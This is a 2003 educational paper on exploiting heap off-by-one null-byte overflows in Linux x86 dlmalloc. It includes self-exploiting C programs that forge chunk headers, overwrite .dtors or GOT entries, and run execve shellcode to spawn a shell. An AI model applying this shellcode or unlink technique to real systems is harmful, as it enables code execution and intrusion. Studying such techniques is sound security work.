-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Heap off by one by qitest1 http://bespin.org/~qitest1 GPG public key: http://bespin.org/~qitest1/qitest1.gpg.key Copyright (c) 2003 qitest1 1. Disclaimer Information contained within this paper is provided for educational purposes only. You may freely redistribute or republish this paper, provided the following conditions are met: the paper is left intact; proper credit is given to its author. You are free to rewrite your own articles based on this material (assuming the above conditions are met). It would also be appreciated if an e-mail is sent to me to let me know you are going to be republishing this paper or writing an article based upon one of my ideas. 2. Introduction The scope of this short paper is to describe how vulnerabilities consisting in a null byte written past the end of dinamically allocated buffers could be exploited. The name 'off by one' is borrowed from the well known category of vulnerabilities affecting buffers allocated onto the stack: in that case exploitation is performed through the frame pointer overwrite. See references in the end for details [1][2]. Exploitation of this kind of vulnerability for buffers allocated onto the heap meets a completely different context. In this paper I will refer to Linux x86, but a lot of the things described here are applicable to other systems as well. 3. Overview of malloc chunk First of all we have to know what is a malloc chunk, or at least how it looks like, taking a look to malloc.c (dlmalloc): struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; }; prev_size and size fields constitute the chunk header. On the contrary fd and bk fields are used only if chunk is free. When in use, this is just the beginning of our memory area. malloc() returns a pointer to that area. See references in the end for further details about malloc() and typical exploitation of heap overflows [3][4][5]. 4. Length and allocation When malloc() is called, it doesn't allocate the exact number of bytes passed as argument. Take a look to the following code: int main(int argc, char **argv) { char *p0, *p1; int *size_p, len; if(argc == 1) exit(1); len = atoi(argv[1]); p0 = (char *) malloc(len); p1 = (char *) malloc(8); printf("p0 -> %p\n", p0); printf("p1 -> %p\n", p1); size_p = (int *) p0 - 1; printf("allocated size for p0: %u (%p)\n", *size_p, *size_p); size_p = (int *) p1 - 1; printf("allocated size for p1: %u (%p)\n", *size_p, *size_p); free(p0); free(p1); } Let's see how chunk size is set: bash-2.05a$ ./alloc 4 p0 -> 0x80497d8 p1 -> 0x80497e8 allocated size for p0: 17 (0x11) allocated size for p1: 17 (0x11) bash-2.05a$ ./alloc 8 p0 -> 0x80497d8 p1 -> 0x80497e8 allocated size for p0: 17 (0x11) allocated size for p1: 17 (0x11) bash-2.05a$ ./alloc 12 p0 -> 0x80497d8 p1 -> 0x80497e8 allocated size for p0: 17 (0x11) allocated size for p1: 17 (0x11) bash-2.05a$ ./alloc 13 p0 -> 0x80497d8 p1 -> 0x80497f0 allocated size for p0: 25 (0x19) allocated size for p1: 17 (0x11) 0x11 is the minimal allocation. It says 0x11 and not 0x10 because the low bit of the length is a flag: 0 == free, 1 == in use. You can see that at a certain point a larger area is allocated. Let's explain better this point: p0 -> 0x8049928 p1 -> 0x8049938 allocated size for p0: 17 (0x11) allocated size for p1: 17 (0x11) (gdb) x/8 0x8049928 - 8 0x8049920: 0x00000000 0x00000011 0x41414141 0x00414141 0x8049930: 0x00000000 0x00000011 0x00000000 0x00000000 (gdb) x 0x8049928 + 12 0x8049934: 0x00000011 This clearly shows that size includes next chunk header. If we are able to put a null byte beyond the end of the first buffer, with a carefully calculated length we can set to zero the size field of another chunk allocated immediately past ours. Length can be calculated this way: length = 12 + (n * 8); 12, 20, 28, 36 ... Take a look to the following vulnerable program. Length allocated does not include the terminator of string. What do we use to write off by one? For example strncat(): it always null-terminates, but even off by one. #define MY_LEN 12 void do_it(char *s) { char *p0, *p1; int *size_p, len; len = strlen(s); printf("len: %u\n", len); p0 = (char *) malloc(len); p1 = (char *) malloc(8); printf("p0 -> %p\n", p0); printf("p1 -> %p\n", p1); size_p = (int *) p0 - 1; printf("allocated size for p0: %u (%p)\n", *size_p, *size_p); size_p = (int *) p1 - 1; printf("allocated size for p1: %u (%p)\n", *size_p, *size_p); p0[0] = 0x00; strncat(p0, s, len); size_p = (int *) p0 - 1; printf("allocated size for p0: %u (%p)\n", *size_p, *size_p); size_p = (int *) p1 - 1; printf("allocated size for p1: %u (%p)\n", *size_p, *size_p); free(p0); free(p1); return; } int main() { char s[256]; memset(s, 0x41, MY_LEN); s[MY_LEN] = 0x00; do_it(s); exit(0); } bash-2.05a$ ./vuln len: 12 p0 -> 0x8049900 p1 -> 0x8049910 allocated size for p0: 17 (0x11) allocated size for p1: 17 (0x11) allocated size for p0: 17 (0x11) allocated size for p1: 0 ((nil)) Segmentation fault Now it's time to look for a way to get control of the program flow. 5. Exploitation size field setted to zero means that chunk is not in use. When free() is called on this chunk, it will look for previous and next chunk in order to link them each other. We provide those addresses. The following program exploits itself. LOCATION points to .dtors, but of course it could be also the __free_hook address or whatever you wish. To find .dtors: objdump -s -j .dtors . Then increase the first address on the left by 0x4. To find the shellcode address launch the program. Shellcode is at the address of the first buffer (p0) + 0x20 (I had p0 pointing to 0x8049b08). #define LOCATION 0x8049aa8 #define SC_ADDR 0x8049b28 /* Linux x86 PIC basic shellcode (25 bytes) */ char shellcode[] = "\x31\xc0\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd" "\x80"; void do_it(char *s0, char *s1) { char *p0, *p1; int *size_p, len0, len1; len0 = strlen(s0); printf("len0: %u\n", len0); len1 = strlen(s1); printf("len1: %u\n", len1); p0 = (char *) malloc(len0); p1 = (char *) malloc(len1); printf("p0 -> %p\n", p0); printf("p1 -> %p\n", p1); size_p = (int *) p0 - 1; printf("allocated size for p0: %u (%p)\n", *size_p, *size_p); size_p = (int *) p1 - 1; printf("allocated size for p1: %u (%p)\n", *size_p, *size_p); p0[0] = 0x00; strncat(p0, s0, len0); memcpy(p1, s1, len1); size_p = (int *) p0 - 1; printf("allocated size for p0: %u (%p)\n", *size_p, *size_p); size_p = (int *) p1 - 1; printf("allocated size for p1: %u (%p)\n", *size_p, *size_p); free(p0); free(p1); return; } int main() { char s0[1024], s1[1024]; int *i; i = (int *) s0; *i++ = 0x41414141; *i++ = 0x41414141; *i++ = 0xadadadad; *i++ = 0x00; memset(s1, 0x00, sizeof(s1)); i = (int *) s1; *i++ = LOCATION - 12; *i++ = SC_ADDR - 8; memset(s1 + strlen(s1), 0x90, 4); memcpy(s1 + strlen(s1), "\xeb\x0e\x90\x90", 4); memset(s1 + strlen(s1), 0x90, 24); memcpy(s1 + strlen(s1), shellcode, strlen(shellcode) + 1); do_it(s0, s1); exit(0); } bash-2.05a$ ./auto-xpl len0: 12 len1: 65 p0 -> 0x8049b08 p1 -> 0x8049b18 allocated size for p0: 17 (0x11) allocated size for p1: 73 (0x49) allocated size for p0: 17 (0x11) allocated size for p1: 0 ((nil)) sh-2.05a$ The solution illustrated above has a big disadvantage: we need to control the first 8 bytes of the buffer whose size is set to zero, and this is improbable (even if not impossible) in real life. We need another idea. Since we control the prev_size field, we could set it to a positive value (i.e.: 0x00000010), thus making free() to look for previous chunk inside the first buffer, where we could put our special malloc structure. From a certain point of view this is a good solution, because it needs only one buffer reachable by our input. From another point of view it is not, because that value contains null bytes, and in most cases we are not able to write them (i.e.: strcpy()). The remaining solution is to set the prev_size field to a negative value (i.e.: 0xfffffff0): free() will look for previous chunk somewhere past the end of the buffer we control. This method allow us to write an arbitrary value in an arbitrary location: we put a fake malloc structure in the location pointed to by the negative prev_size. Nevertheless, after that it segfaults. This is generally not a problem in real programs, such as network daemons, because they always have signal handlers: if we patch the GOT entry of one of the functions called in the SIGSEGV handler (i.e.: syslog()), we can still control the program flow. The following program exploits itself. LOCATION points to the GOT entry of printf(). To find it: (gdb) x/i printf 0x8048484 : jmp *0x8049be4 ^^^^^^^^^ To find the shellcode address launch the program. Shellcode is at the address of the first buffer (p0) + 0x38 (I had p0 pointing to 0x8049c20). #include #define LOCATION 0x8049be4 #define SC_ADDR 0x8049c58 /* Linux x86 PIC basic shellcode (25 bytes) */ char shellcode[] = "\x31\xc0\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd" "\x80"; void sigsegvhandler() { printf("Caught SIGSEGV.\n"); exit(1); } void do_it(char *s0, char *s1) { char *p0, *p1; int *size_p, len0, len1; len0 = strlen(s0); printf("len0: %u\n", len0); len1 = strlen(s1); printf("len1: %u\n", len1); p0 = (char *) malloc(len0); p1 = (char *) malloc(len1); printf("p0 -> %p\n", p0); printf("p1 -> %p\n", p1); size_p = (int *) p0 - 1; printf("allocated size for p0: %u (%p)\n", *size_p, *size_p); size_p = (int *) p1 - 1; printf("allocated size for p1: %u (%p)\n", *size_p, *size_p); p0[0] = 0x00; strncat(p0, s0, len0); memcpy(p1, s1, len1); size_p = (int *) p0 - 1; printf("allocated size for p0: %u (%p)\n", *size_p, *size_p); size_p = (int *) p1 - 1; printf("allocated size for p1: %u (%p)\n", *size_p, *size_p); free(p1); return; } int main() { char s0[1024], s1[1024], zbuf[1024]; int *i; signal(SIGSEGV, sigsegvhandler); i = (int *) s0; *i++ = 0x41414141; *i++ = 0x41414141; *i++ = 0xffffffe0; *i++ = 0x00; memset(zbuf, 0x00, sizeof(zbuf)); memset(zbuf, 0x41, 9); i = (int *) &zbuf[strlen(zbuf)]; *i++ = 0xfffffffe; *i++ = 0xffffffff; *i++ = LOCATION - 12; *i++ = SC_ADDR; memset(zbuf + strlen(zbuf), 0x90, 4); memcpy(zbuf + strlen(zbuf), "\xeb\x08\x90\x90", 4); memset(zbuf + strlen(zbuf), 0x90, 24); memcpy(zbuf + strlen(zbuf), shellcode, strlen(shellcode) + 1); snprintf(s1, sizeof(s1), "Your input is: %s\n", zbuf); do_it(s0, s1); exit(0); } bash-2.05a$ ./auto-xpl-negsiz len0: 12 len1: 98 p0 -> 0x8049c20 p1 -> 0x8049c30 allocated size for p0: 17 (0x11) allocated size for p1: 105 (0x69) allocated size for p0: 17 (0x11) allocated size for p1: 0 ((nil)) sh-2.05a$ 6. Conclusion Conceptually this technique is not very different from the general method used to exploit heap overflows. Surely this vulnerability is not common in real life code. But you have to think to poorly written utility functions for string management, or to cases where calculation of length to allocate is not so intuitive as in my example. Anyway this is beyond the scope of this paper. 7. Author's note Sorry for my poor English. :\ 8. References [1] klog. The Frame Pointer Overwrite http://www.phrack.com/search.phtml?view&article=p55-8 [2] qitest1. middleman-1.2 and prior off-by-one bug http://bespin.org/~qitest1/adv/middleman-1.2.txt.asc [3] Doug Lea malloc.c (aka dlmalloc) ftp://gee.cs.oswego.edu/pub/misc/malloc.c [4] maxx. Vudo malloc tricks http://www.phrack.com/search.phtml?view&article=p57-8 [5] anonymous. Once upon a free() http://www.phrack.com/search.phtml?view&article=p57-9 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE+8M+VIrsshIyVmPkRAmCVAJ9TIccur1MLmPF5WExVwpPIx6CWCwCdGvdN bPI0xkMbrktc3pow1h1ox78= =RrN3 -----END PGP SIGNATURE-----